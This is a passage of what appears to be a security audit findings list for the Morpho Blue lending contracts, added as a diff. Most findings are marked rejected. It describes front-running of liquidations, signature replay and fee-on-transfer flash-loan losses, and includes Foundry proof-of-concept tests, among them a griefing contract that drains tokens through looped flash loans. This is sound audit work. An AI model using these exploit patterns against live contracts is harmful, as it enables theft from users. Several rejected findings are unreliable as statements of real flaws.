+3. While theoretically John can run Liquidate() again but in practice he is not motivated to do so for 1 wei's collateral unless John is the project's admin. Meanwhile, Frank can write a script to monitor and automate the above so that "bad debt cancellation" will always be prevented from happening by sending 1 wei collateral on behalf of the borrower each time liquidate() is called again.
+
+
+In summary, there is an incentive and possible way to prevent "bad debt cancellation" from happening since bad debt will be subtracted from totalSupplyAssets.
+
+
+**Recommendation**:
+Use ``seizedAssets = type(uint256).max`` to represent to seize all the collateral. In this way, front-running griefing will not succeed.
+
+
+
+### Users can borrow up to thier limit, making them liquidatable in the next block _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L255-L255](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L255-L255)
+
+- Summary
+Users can currently borrow up to their collateralization limit, making them vulnerable to liquidation even with a small price change of 1 wei. This poses a risk because, in many cases, these users could be liquidated in the next block.
+
+- Proof of Concept
+The [borrow](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L232-L263) function lacks checks to prevent users from borrowing up to their maximum limit. This is problematic, as some users may unknowingly deposit collateral and borrow the maximum amount without realizing they will face liquidation in the next block. The system, by not preventing such borrowings and subsequent liquidations, unintentionally encourages liquidation. This may incur bad debt in some volatile markets and will certainly give bad reputation.
+
+- Fix
+A recommended solution is to implement a liquidation cap. For example, if the LLTV is at 0.8, set the cap at 0.75. This introduces a buffer between the user's maximum borrow and their liquidation threshold, providing a safety margin and preventing many users from being liquidated in the long run.
+
+
+
+### Potential Market Flooding Risks in Market Creation Function _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context**
+The createMarket function in the smart contract allows anyone to create new markets. This function uses the MarketParams struct, which includes parameters like loanToken, collateralToken, oracle, irm, and lltv to generate a unique market ID through a hashing mechanism. The ID generation is performed in the MarketParamsLib library using keccak256.
+
+**Description**
+The current implementation allows for the creation of numerous markets with very similar parameters, differing only slightly in their lltv values. This scenario arises because the MarketParams struct can be slightly altered (e.g., by incrementally increasing the lltv by 1 wei), resulting in a different hash and, thus, a new unique market ID.
+
+**Impact**
+while there's no direct Denial of Service (DoS) or increased operation costs due to the data being stored in a mapping, the primary concern lies in the potential flooding of the smart contract with a vast number of markets. This can lead to the following issues:
+
+Management Overhead
+With thousands or millions of markets, managing and navigating through these markets becomes cumbersome and inefficient.
+
+Data Pollution: A large number of markets with near-identical parameters may pollute the data set, making it difficult to identify and interact with meaningful and distinct markets.
+
+User Experience Degradation: End users interfacing with the smart contract might find it challenging to discern between relevant and spam-like markets, leading to a degraded user experience.
+Recommendations
+
+
+**PoC**
+On the example below we create 24k markets with the same token and similar LLTV.
+Add the following code on `CreateMarketIntegrationTest`:
+
+```
+function testCreateMultipleMarketsWithSameTokenAndParameters() public {
+ for (uint256 i = 0; i < 24000;) {
+ _setLltv(MIN_TEST_LLTV + (i * 1)); // by incrementing only 1 wei on the lltv, the market.id() is completely different due to the way that `MarketParamsLib` hashes the data using `keccak256`
+
+ unchecked {
+ i++;
+ }
+ }
+ }
+```
+
+**Recommendations**
+
+Parameter Thresholds: Introduce minimum thresholds or limits for the difference between the parameters of new and existing markets. For example, enforce a significant difference in lltv values for markets with the same loanToken, collateralToken, oracle, and irm.
+
+Rate Limiting: Implement a rate-limiting mechanism to control the frequency of market creation by a single address or across the contract.
+
+Enhanced Validation: Strengthen the require conditions in the createMarket function to include checks against creating markets with negligible parameter differences.
+
+Administrative Control: Implement administrative functions that allow for the regulation or removal of markets that are deemed unnecessary or spam-like.
+
+Market Creation Fees: Consider imposing a fee for market creation to discourage spam-like behavior.
+
+**Conclusion**
+
+While the createMarket function does not exhibit traditional vulnerabilities like DoS or high gas costs, the potential for market flooding remains a significant concern. Implementing the recommended safeguards can enhance the contract's robustness against such exploitation and improve overall user experience and contract manageability for owner, curator and allocators.
+
+
+
+### flashLoan is not ERC3156 compliant _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L415-L415](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L415-L415)
+
+- Summary
+[flashLoan](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L415-L423), described as compliant in the interface, is actually not.
+
+- Proof of Concept
+[flashLoan](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L415-L423), described as compliant [in the interface](https://github.com/morpho-org/morpho-blue/blob/main/src/interfaces/IMorpho.sol#L263-L265), is actually not compliant due to the absence of the `maxFlashLoan` and `flashFee` functions. As outlined in the [EIP-3156](https://eips.ethereum.org/EIPS/eip-3156):
+
+> The maxFlashLoan function MUST return the maximum loan possible for the token. If a token is not currently supported, maxFlashLoan MUST return 0, instead of reverting.
+
+> The flashFee function MUST return the fee charged for a loan of amount token. If the token is not supported, flashFee MUST revert.
+
+However, there are no functions called `maxFlashLoan` and `flashFee`, and definitely no return variables for the maximum loan and the fee. Morpho explains that these values can be derived from the code, with the fee being 0 and the maximum amount being the balance of the contract. However, this approach can cause issues when other protocols integrate on top of Morpho.
+
+- Fix
+The solution is straightforward: `maxFlashLoan` needs to be added, returning the balance of the given token, and `flashFee` should be added, returning 0.
+
+
+
+### Signature replay attack in case of hard fork
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L78-L78](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L78-L78)
+
+**Description**:
+
+If there is a hard fork, Morpho's `DOMAIN_SEPARATOR` would become invalid. It is an immutable state variable initialized during deployment and thus stored in the contract code. There is no possibility for the domain separator to be updated at a later point, e.g. in the event of a post-deployment hard fork.
+
+As a result, signatures can be replayed across both versions of the network. For example, a malicious actor can reuse signatures across different network versions, potentially enabling unauthorized actions like `withdraw()`, `withdrawCollateral()` and `borrow()`.
+
+
+**Exploit scenario:**
+
+1. Alice has 10,000 USDC in a Morpho market.
+2. A hard fork occurs, resulting in two parallel chains: Ethereum and EthereumX.
+3. Alice authorizes Bob on Ethereum using `setAuthorizationWithSig()`.
+4. Since the `DOMAIN_SEPARATOR` remains the same on both chains, Bob can exploit this by reusing the signature to `withdraw()` Alice's liquidity on EthereumX without her authorization.
+
+**Recommendation**:
+
+To mitigate this issue, implement a mechanism to detect changes in `block.chainid` and update the `DOMAIN_SEPARATOR` accordingly.
+
+Alternatively, consider adding the `chainId` to the signature schema.
+
+
+
+### Borrower can DOS liquidation by repaying small amount of debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Borrowers can cause DoS when liquidator attempts to liquidate a 100% of the borrower's position.
+The borrower just need to frontrun the liquidation tx and repay a slightly portion of the debt, paying as low as 1 wei will make the [borrowShares](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L380) to be less than what it was when the liquidator sent the tx to liquidate the position.
+
+If borrower uses this strategy, liquidator is not incentivized to fully liquidate position. From game theory perspective liquidator's worst strategy is to liquidate 100% of position, because borrower can always frontrun and repay 1 wei, making full liquidation revert. That's why liquidators will perform partial liquidations instead.
+And here problem arises: bad debt is socialized only via full liquidation. Report shows scenario in which bad debt can continuously accumulate at will of borrower
+
+**Proof of Concept**:
+
+Current flow of liquidation is following: 1) liquidator specifies amount of assets/shares to seize, 2) repays borrower's debt in loanToken (at ~10% discount), 3) receives seized amount in collateralToken.
+Problem is that underflow occurs in marked line, because liquidator tries to repay more debt than position actually have.
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ ...
+ {
+ ...
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+@> position[id][borrower].borrowShares -= repaidShares.toUint128();
+ ...
+ }
+```
+As described above, borrower can frontrun and repay tiny amount of debt to make `position[id][borrower].borrowShares` less and provoke underflow in liquidator's transaction
+
+**Recommendation**:
+
+Cap the amount to repay by `position[id][borrower].borrowShares`. I.e. recalculate values for `repaidAssets` and `repaidShares` if actual amount of position's debt is less than specified.
+
+
+
+### Lenders can sandwich liquidations with bad debt to avoid bad debt socialization _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Liquidation socializes bad debt among current lenders, by decreasing `market[id].totalSupplyAssets`:
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L387-L398
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ ...
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+@> market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ ...
+ }
+```
+
+However current design has property that bad debt is distributed among current lenders, socialized bad debt doesn't affect future lenders. It introduces opportunity for lender to escape bad debt socialization. Lender can withdraw before liquidation distributing bad debt, and again supplying after liquidation - he doesn't suffer a loss, instead other lenders take loss
+
+Here's an example:
+1) Suppose current market state: totalSupplyShares = 600, totalSupplyAssets = 600. User1 has 300 shares and assets, User2 also
+2) Full liquidation is submitted, it will socialize 100 of bad debt
+3) User2 accrues interest and withdraws his 300 assets.
+4) Liquidation occurs. Current market state: totalSupplyShares = 300, totalSupplyAssets = 200. User1 did nothing and suffer a loss of 100 assets due to bad debt
+5) User2 supplies again his 300 assets, and receives `300 * 300 / 200 = 450 shares`. So he didn't lose anything.
+
+Only N amount of debt can be withdrawn in this way, where N is `totalSupplyAssets - totalBorrowAssets` because of require in `withdraw()`. It means that there will always be some amount of lenders who suffer bad debt on behalf of such lenders
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L220
+```solidity
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+```
+
+**Recommendation**:
+
+Bad debt socialization design should be refactored, it should also include future lenders. So that part of bad debt is redistributed to the new lender when he enters the market.
+
+
+
+
+### Borrowers would be able to front-run liqudiators and revert their TX _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+- Summary
+Borrowers would be able to front-run liquidators and revert their transactions by just repaying a small amount of wei.
+
+- Proof of concept
+When liquidators call [liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) they will aim for the biggest amount they can liquidate (as it will give the biggest profit), however clever borrowers can revert their TX by simply repaying a really small amount of wei. This way the borrowers are still underwater, but liquidators are unable to liquidate them.
+
+Example:
+| Values | |
+|-------------------------|-----------------|
+| Collateral deposited | 1 ETH = 2000USD |
+| Loan taken | 1600 USDC |
+| Collateralization ratio | 0.8 (125%) |
+
+At this point the borrower is just on the edge of being liquidated.
+1. The price of ETH changes to 1950. Now our borrower is liquidatable.
+2. A liquidators call [liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) with the max amount he can (lets say 100% for simplicity) - repaying 1600 USDC
+3. The borrower sees this TX and front-runs the liquidator by repaying 1USDC .
+4. Liquidator TX reverts with underflow [here](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L380), as he tried to repay more shares than the borrower owns.
+
+Notice that the borrower can still be liquidatable, as 1 USDC will not be enough to lift him above water. However it will be enough for [liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410) to revert.
+
+```solidity
+if (seizedAssets > 0) {
+ repaidAssets =seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ ...
+ // This will underflow as the above calculates more shares than the borrower provided
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+```
+- Recommendation
+Best solution to this issue is just to pick the lower of the 2 amounts (liquidator input, borrower shares) and go with it.
+```diff
+- position[id][borrower].borrowShares -= repaidShares.toUint128();
++ position[id][borrower].borrowShares = UtilsLib.min(position[id][borrower].borrowShares , repaidShares).toUint128();
+```
+
+
+
+### Morpho.sol: No function to remove authorised address added with `setAuthorization()` and `setAuthorizationWithSig` _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Based on the function `setAuthorizationWithSig` and `setAuthorization` users can authorise an address to perform an action for them on the smart contract but there is no place to remove an address when:
+
+1. The authorised address become a malicious user and cause loss of funds
+2. The user wants to change the authorised address and wants to remove the previous address
+
+**Recommendation**:
+Add a function that users can call to remove authorised addresses
+
+
+
+### Replay attack possible in case of fork _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L440-L440](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L440-L440)
+
+- Description
+The usage of a cached DOMAIN_SEPARATOR in constructor may lead to replay attacks in the case of an eventual fork of the chain, since the cached domain separator is constructed with an initial chainId that isn't checked afterwards. But on fork, chain id should change thus causing problem of replay attacks.
+
+- Recommendation
+DOMAIN_SEPARATOR should be recomputed on every call so that correct chain id is being used
+
+
+
+### Withdrawals might fail due to interest _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L224-L224](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224-L224)
+
+- Description
+Due to interest being directly added to market id total supply, it is possible that User wont be able to withdraw
+
+- Steps
+
+1. User A and User B both supply 50 assets and receive 1 share each
+2. User C borrows 50 assets
+3. Over a period of time interest of 2 assets is generated which increase the market id total supply to 50+50+2=102
+4. This means both User A and User B shares are worth 51 assets
+5. User A tries withdrawing his 1 share
+6. This fails since contract does not have 51 assets (borrow is not repaid)
+
+- Recommendation:
+This problem will resolve with more loan token supply. The same nature could be documented
+
+
+
+### Fee-on-transfer tokens will break the market _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+According to the docs, Morpho Blue should accept **any** ERC20 tokens, including ones with a fee on transfer. Such tokens, however, are incompatible with the ERC4262 standard by default. Accepting these tokens will result in minting more shares than intended. These shares will later be converted back into assets and the conversion result will be higher than what was deposited, because part of the assets was taken as a fee.
+
+- Recommendation
+If Morpho does really want to support **any** ERC20 tokens, everywhere where a token transfer happens, the difference between the balance of the contract before and after the transfer should be used to mint shares.
+
+
+
+### Loss of funds in function `flashLoan` when using token with fee on transfer _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+With the function `createMarket` any user can create their own market with their own `loanToken` and `collateralToken`, these tokens could charge fee on transfer as STA or PAXG also, some do not currently charge a fee but may do so in the future (e.g. USDT, USDC)
+
+File: src/Morpho.sol
+```solidity
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+@0=> IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+@1=> IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+As we can see in the code block above, the function `flashLoan` transfers an amount of `token` to the sender(@0) and at the end of the function takes the same `token` amount from the sender(@1), but finally it does not check that the amount received is equal to the amount borrowed
+
+If a user create a market with this type of token it would cause the **Morpho** contract to lose funds when the function `flashLoan` is called
+
+Reference: https://github.com/d-xo/weird-erc20#fee-on-transfer
+
+**Proof of Concept**:
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {Morpho} from "../../src/Morpho.sol";
+import {IMorphoFlashLoanCallback} from "../../src/interfaces/IMorphoCallbacks.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+
+contract PoCTest is Test {
+ Morpho morpho;
+ ERC20FeeOnTransfer token;
+ address whale = makeAddr("whale");
+
+ function setUp() external {
+ morpho = new Morpho(address(this));
+
+ token = new ERC20FeeOnTransfer();
+ token.setBalance(address(morpho), 100 ether);
+ }
+
+ function testPoC() external {
+ Griefer griefer = new Griefer(morpho, token);
+
+ // The griefer don't have fee on transfer
+ token.setWhiteList(address(griefer));
+
+ uint256 prevMorphoBal = token.balanceOf(address(morpho));
+
+ griefer.grief();
+
+ console.log("Before flashLoan morpho balance:", prevMorphoBal);
+ console.log("After flashLoan morpho balance: ", token.balanceOf(address(morpho)));
+ }
+}
+
+contract Griefer is IMorphoFlashLoanCallback {
+ Morpho morpho;
+ ERC20FeeOnTransfer token;
+
+ constructor (Morpho _morpho, ERC20FeeOnTransfer _token) {
+ morpho = _morpho;
+ token = _token;
+ token.approve(address(morpho), type(uint256).max);
+ }
+
+ function grief() external {
+ uint256 bal = token.balanceOf(address(morpho));
+
+ while (bal > .000001 ether) {
+ morpho.flashLoan(address(token), bal, "");
+
+ bal = token.balanceOf(address(morpho));
+ }
+ }
+
+ function onMorphoFlashLoan(uint256, bytes calldata) external { }
+}
+
+contract ERC20FeeOnTransfer is ERC20Mock {
+ address owner;
+ mapping(address => bool) public whiteList;
+
+ constructor () {
+ owner = msg.sender;
+ }
+
+ function setWhiteList(address _who) external {
+ whiteList[_who] = true;
+ }
+
+ function transfer(address to, uint256 amount) public override returns (bool) {
+ uint256 fee;
+ if (!whiteList[to]) {
+ // Take 10% fee
+ fee = amount * 100 / 1000;
+ super.transfer(owner, fee);
+ }
+
+ return super.transfer(to, amount - fee);
+ }
+
+ function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
+ require(allowance[from][msg.sender] >= amount, "insufficient allowance");
+
+ allowance[from][msg.sender] -= amount;
+
+ require(balanceOf[from] >= amount, "insufficient balance");
+
+ uint256 fee;
+ if (!whiteList[to]) {
+ // Take 10% fee
+ fee = amount * 100 / 1000;
+
+ balanceOf[from] -= fee;
+ balanceOf[owner] += fee;
+
+ emit Transfer(from, owner, fee);
+ }
+
+ // Transfer
+ balanceOf[from] -= amount - fee;
+ balanceOf[to] += amount - fee;
+
+ emit Transfer(from, to, amount - fee);
+
+ return true;
+ }
+}
+```
+
+**Recommendation**:
+
+File: src/interfaces/IERC20.sol
+```diff
+@@ -6,4 +6,6 @@ pragma solidity >=0.5.0;
+ /// @custom:contact security@morpho.org
+ /// @dev Empty because we only call library functions. It prevents calling transfer (transferFrom) instead of
+ /// safeTransfer (safeTransferFrom).
+-interface IERC20 {}
++interface IERC20 {
++ function balanceOf(address account) external view returns (uint256);
++}
+```
+
+File: src/Morpho.sol
+```diff
+@@ -413,6 +413,8 @@ contract Morpho is IMorphoStaticTyping {
+
+ /// @inheritdoc IMorphoBase
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
++ uint256 prevBal = IERC20(token).balanceOf(address(this));
++
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+@@ -420,6 +422,8 @@ contract Morpho is IMorphoStaticTyping {
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
++
++ require(prevBal == IERC20(token).balanceOf(address(this)), "Funds not returned");
+ }
+```
+
+
+
+### DoS of full liquidations are possible by frontrunning the liquidators _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+During the liquidation process, liquidators are mandated to provide precise details regarding the amounts of `seizedAssets` or `repaidShares`. Unfortunately, this requirement exposes a vulnerability, enabling malicious actors to impede full liquidation by front-running the liquidator's transactions and liquidating minimal amounts of the involved tokens.
+
+Upon identification of an unfavorable position, any liquidator has the option to invoke the `liquidate()` function and receive a portion of the user's collateral as a reward. However, executing this function necessitates specifying the exact amount of `seizedAssets` or `repaidShares`. This requirement introduces the potential for obstructing complete liquidations.
+
+The blocking mechanism functions by front-running the liquidator, instigating the liquidation of small amounts of seized assets or repaid shares. As a result, during the execution of the liquidator's transaction, a revert occurs due to an underflow issue, as depicted in the code snippet below.
+
+Code Snippet where the underflow happens in liquidate function
+```
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+```
+
+**Proof of Concept**
+
+Place the test case in the `BaseTest.sol` and run `forge test --match-test testDosFullLiquidation -vv`
+```
+ function testDosFullLiquidation() public {
+
+ address EVIL = makeAddr("Evil");
+
+ //Set token balances
+ loanToken.setBalance(SUPPLIER, 10 ether);
+ loanToken.setBalance(ONBEHALF, 10 ether);
+ loanToken.setBalance(LIQUIDATOR, 10 ether);
+ loanToken.setBalance(EVIL, 10 ether);
+ collateralToken.setBalance(BORROWER, 10 ether);
+
+ //Provide Approvals
+ vm.prank(EVIL);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ //Supply the Loan Tokens
+ vm.prank(SUPPLIER);
+ morpho.supply(marketParams, 5 ether, 0, SUPPLIER, hex"");
+ _forward(10000);
+
+ vm.prank(ONBEHALF);
+ morpho.supply(marketParams, 2.5 ether, 0, ONBEHALF, hex"");
+ _forward(10000);
+
+ // Borrow the Loan tokens by providing collateral
+ vm.prank(BORROWER);
+ morpho.supplyCollateral(marketParams, 10 ether, BORROWER, hex"");
+ _forward(10000);
+
+ vm.prank(BORROWER);
+ morpho.borrow(marketParams, 5 ether, 0, BORROWER, BORROWER);
+ _forward(10000);
+
+ //Update the price of Oracle to make the BORROWER's position unhealthy
+ oracle.setPrice(0.4e36);
+
+ //EVIL liquidator liquidates a very small amount
+ //Imagine this to be a frontrun tx by the EVIL over the LIQUIDATOR's
+ vm.prank(EVIL);
+ morpho.liquidate(marketParams, BORROWER, 0.1 ether, 0, "");
+
+ // LIQUIDATOR tries for a full liquidation but fails
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert();
+ morpho.liquidate(marketParams, BORROWER, 10 ether, 0, "");
+
+ }
+```
+
+To resolve this issue, the `liquidate()` function can try to utilize the necessary amount of `seizedAssets` or `repaidShares` to facilitate the liquidation of the position. Any surplus funds can subsequently be refunded to the liquidator or allocated to the market to restore balance.
+
+
+
+### A borrow can liquidate himself resulting to steal the liquidation incentive from other liquidators _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider a borrower who holds a position in a market. If the market's asset prices decline, the borrower's position becomes unhealthy, triggering the need for liquidation. In this scenario, entities known as liquidators step in to execute the liquidation process and, in return, receive a liquidation incentive.
+
+Now, imagine a situation where the borrower employs a bot to preemptively execute these liquidation requests, essentially front-running the process and claiming the associated rewards. In essence, the borrower strategically positions themselves to exploit the liquidation incentives, diverting funds from the reward pool intended for other suppliers. This allows the borrower to benefit from the liquidation process and acquire funds from the incentive pool.
+
+To fix the issue, disallow the borrower to self liquidate his/her own position by adding the following check as shown below
+
+```
+require(borrower == msg.sender, ErrorsLib.SELFLIQUIDATION);
+```
+
+**Proof of Concept**
+
+```
+ function testSelfLiquidate() public {
+
+ //Set Token Balances
+ loanToken.setBalance(SUPPLIER, 10 ether);
+ loanToken.setBalance(ONBEHALF, 10 ether);
+ loanToken.setBalance(LIQUIDATOR, 10 ether);
+ collateralToken.setBalance(BORROWER, 10 ether);
+
+ //Supply the Loan Tokens
+ vm.prank(SUPPLIER);
+ morpho.supply(marketParams, 5 ether, 0, SUPPLIER, hex"");
+ _forward(10000);
+
+ vm.prank(ONBEHALF);
+ morpho.supply(marketParams, 2.5 ether, 0, ONBEHALF, hex"");
+ _forward(10000);
+
+ // Borrow the Loan tokens by providing collateral
+ vm.prank(BORROWER);
+ morpho.supplyCollateral(marketParams, 10 ether, BORROWER, hex"");
+ _forward(10000);
+
+ vm.prank(BORROWER);
+ morpho.borrow(marketParams, 5 ether, 0, BORROWER, BORROWER);
+ _forward(10000);
+
+ //Update the Oracle Price to make the position unhealthy
+ oracle.setPrice(0.4e36);
+
+ //Frontrun the LIQUIDATOR's tx to steal the rewards
+ vm.prank(BORROWER);
+ morpho.liquidate(marketParams, BORROWER, 10 ether, 0, "");
+
+ vm.prank(LIQUIDATOR);
+ vm.expectRevert("position is healthy");
+ morpho.liquidate(marketParams, BORROWER, 10 ether, 0, "");
+
+ }
+
+```
+
+
+
+### Old fee recipient loss interest _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L142-L142](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L142-L142)
+
+Fee recipient is directly changed without calling `_accrueInterest` on all markets, which means older fee recipient will lose the new interest earned by all the markets
+
+- Recommendation
+Before changing fee recipient, interest from all market id should be computed and the same should be added to older fee recipient
+
+
+
+### There is no chance for protocol owner to close bad markets _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Users can create markets by passing `marketParams` to the createMarket function:
+
+```
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+
+Any user can create any number of markets with different setups.
+
+However only two params are validated out of 5 possible:
+
+```
+struct MarketParams {
+ address loanToken;
+ address collateralToken;
+ address oracle;
+ address irm;
+ uint256 lltv;
+}
+```
+
+There is a high chance there can be a lot of "bad" (wrongly created) markets in some time. And there is no option to delete any of them by protocol owner.
+
+Consider creating a new function for market creators / owners / government to delete stale markets from the system.
+
+
+
+### Signature malleability with ecrecover function _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The implementation of a cryptographic signature system in Ethereum contracts often assumes that the signature is unique, but signatures can be altered without the possession of the private key and still be valid. A malicious user can slightly modify the three values v, r and s to create other valid signatures.
+
+Morpho contract implement user autorization with a provided signature:
+
+```
+ function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ ...
+ }
+```
+
+and uses `ecrecover` to get a signer address.
+
+It's not quite safe to do it in that way. Vulnerability described in SWC-117 - https://swcregistry.io/docs/SWC-117/
+
+Consider using Open Zeppeling `ECDSA` library (version older 4.9.3) to prevent any issues with signature replay attacs.
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
+
+
+
+### Great amount difference between needed loan amount and required collateral _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Borrowers can get a loan by providing a requred collateral amount. That collateral amount is calculated based on a needed loan amount and collateral price.
+
+```
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ ...
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL); //@note - нет функция предпросмотра, сколько залога нужно получить, чтобы взять займ
+ ...
+ }
+```
+
